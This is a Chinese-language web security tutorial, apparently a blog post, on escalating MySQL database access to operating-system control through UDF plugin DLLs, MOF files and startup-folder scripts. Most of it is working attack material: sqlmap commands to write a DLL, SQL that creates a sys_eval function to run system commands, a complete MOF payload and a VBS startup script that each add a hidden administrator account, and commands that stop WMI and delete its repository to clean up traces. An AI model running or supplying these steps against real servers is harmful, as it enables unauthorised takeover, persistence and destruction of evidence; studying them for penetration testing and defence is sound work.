WEB安全--SQL注入--MySQL提权

一、UDF提权

1.1、UDF(user-defined function)

用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了。

1.2、什么情况下需使用mysql提权?

拥有mysql的权限,但是没拿到mysql所在服务器的任何权限,通过mysql提权,将mysql权限提升到操作系统权限

1.3、条件

1、知道mysql用户名和密码,并且可以远程登录(即获取了mysql数据库的权限)

2、secure_file_priv的值为空

1.4、方式

1、创建/lib/plugin目录

动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so 。我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数。

Mysql版本大于5.1:udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin文件夹默认不存在,需要创建)。

Mysql版本小于5.1:

如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导到 C:\Winnt\udf.dll 下。

如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:\Windows\udf.dll 下。

并且目前绝大多数项目的数据库版本都大于5.1,所以我们以第一种方式来模拟:

php 复制代码
#NTFS ADS流创建语句

mysql> select 'x' into dumpfile 'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin::$INDEX_ALLOCATION';  

#创建不一定成功,不成功的情况下还是利用webshell的权限创建目录

2、导入动态链接库

那么这个dll文件在哪了?这两个文件在sqlmap和msf里面都有内置。

首先在sqlmap里面找一下,在sqlmap里面对应的目录地址为\sqlmap\data\udf\mysql

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用。这里sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。

解码命令:

python 复制代码
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

存在sql注入时我们可以通过sqlmap来上传动态链接库

python 复制代码
python sqlmap.py -u "http://192.168.178.130/sqli-labs/Less-1/?id=1" 
--file-write="d:/tools/sqlmap/extra/cloak/lib_mysqludf_sys_64.dll" 
--file-dest="C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll"

没有sql注入时,我们可以通过执行sql语句INTO DUMPFILE来进行写入动态链接库

python 复制代码
#select后面为动态链接库的十六进制编码(数据太长,这里省略显示)
SELECT 0x4d5a900003... INTO DUMPFILE 
'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll'; 

动态链接库的十六进制可以通过mysql自带的hex函数或者一些文件十六进制编码器工具解决。当然在sql语句写不进去的动态链接库的时候,我们还可以通过我们的webshell来进行上传。

3、创建自定义函数

sql 复制代码
#原本执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';
#修改后执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

4、执行系统命令

sql 复制代码
#创建成功后,我们利用自定义函数进行命令执行
mysql > select sys_eval('whoami');


//output
administrator

二、MOF提权

2.1、原理

mof文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

但是现在通过mof文件来进行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。

2.2、vbs脚本

sql 复制代码
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user suifeng p@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators suifeng /add\")";   #创建用户
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

2.3、上传脚本到指定目录

sql 复制代码
select load_file("C:/Documents and Settings/suifeng.mof") 
into dumpfile "c:/windows/system32/wbem/mof/suifeng.mof";

2.4、mof提权痕迹清理

因为每隔5秒钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件:

sql 复制代码
#停止winmgmt服务
net stop winmgmt
#删除Repository文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
#重新启动服务
net start winmgmt

三、启动项提权

3.1、原理

通过mysql把一段vbs脚本导入到系统的启动项下,如果管理员启动或者重启的服务器,那么该脚本就会被调用,并执行vbs脚本里面的命令。

3.2、利用方式

启动项路径:

sql 复制代码
#2003
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
#2008
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

有了路径我们在mysql的shell下输入如下代码:

sql 复制代码
create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " ); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user suifeng p@ssw0rd /add"",0) " ); 
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators suifeng /add"",0) " ); 
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

然后重启,即可发现vbs脚本里面创建的用户:

相关推荐
Sun@happy3 小时前
现代 Web 前端渗透——基础篇(1)
前端·web安全
网教盟人才服务平台4 小时前
全国政务网络安全能力提升行动启动,筑牢政务数据安全防线
安全·web安全·政务
黎阳之光4 小时前
黎阳之光:以视频孪生重构智能监盘,为燃机打造新一代智慧电厂大脑
大数据·人工智能·算法·安全·数字孪生
汽车仪器仪表相关领域4 小时前
Kvaser Hybrid Pro 2xCAN/LIN 双通道可编程CAN/LIN通讯接口:一机双模可编程,汽车车身混合总线测试专用设备
人工智能·功能测试·安全·fpga开发·汽车·压力测试
Bruce_Liuxiaowei4 小时前
2026年5月第4周网络安全形势周报
网络·人工智能·安全·web安全·网络安全·系统安全
HMS工业网络4 小时前
边缘网关网络安全
网络·安全·web安全
zhongerzixunshi6 小时前
ISO45001职业健康安全管理体系详解
安全
xiaoshuaishuai87 小时前
C# Gemini 辅助网络安全漏洞分析
开发语言·web安全·c#
其实防守也摸鱼7 小时前
软件安全与漏洞--软件安全编码
java·前端·网络·安全·网络安全·web·工具
学习3人组8 小时前
思科Packet Tracer 7.4 生成树协议(STP)配置与安全防护上机讲义
网络·安全·php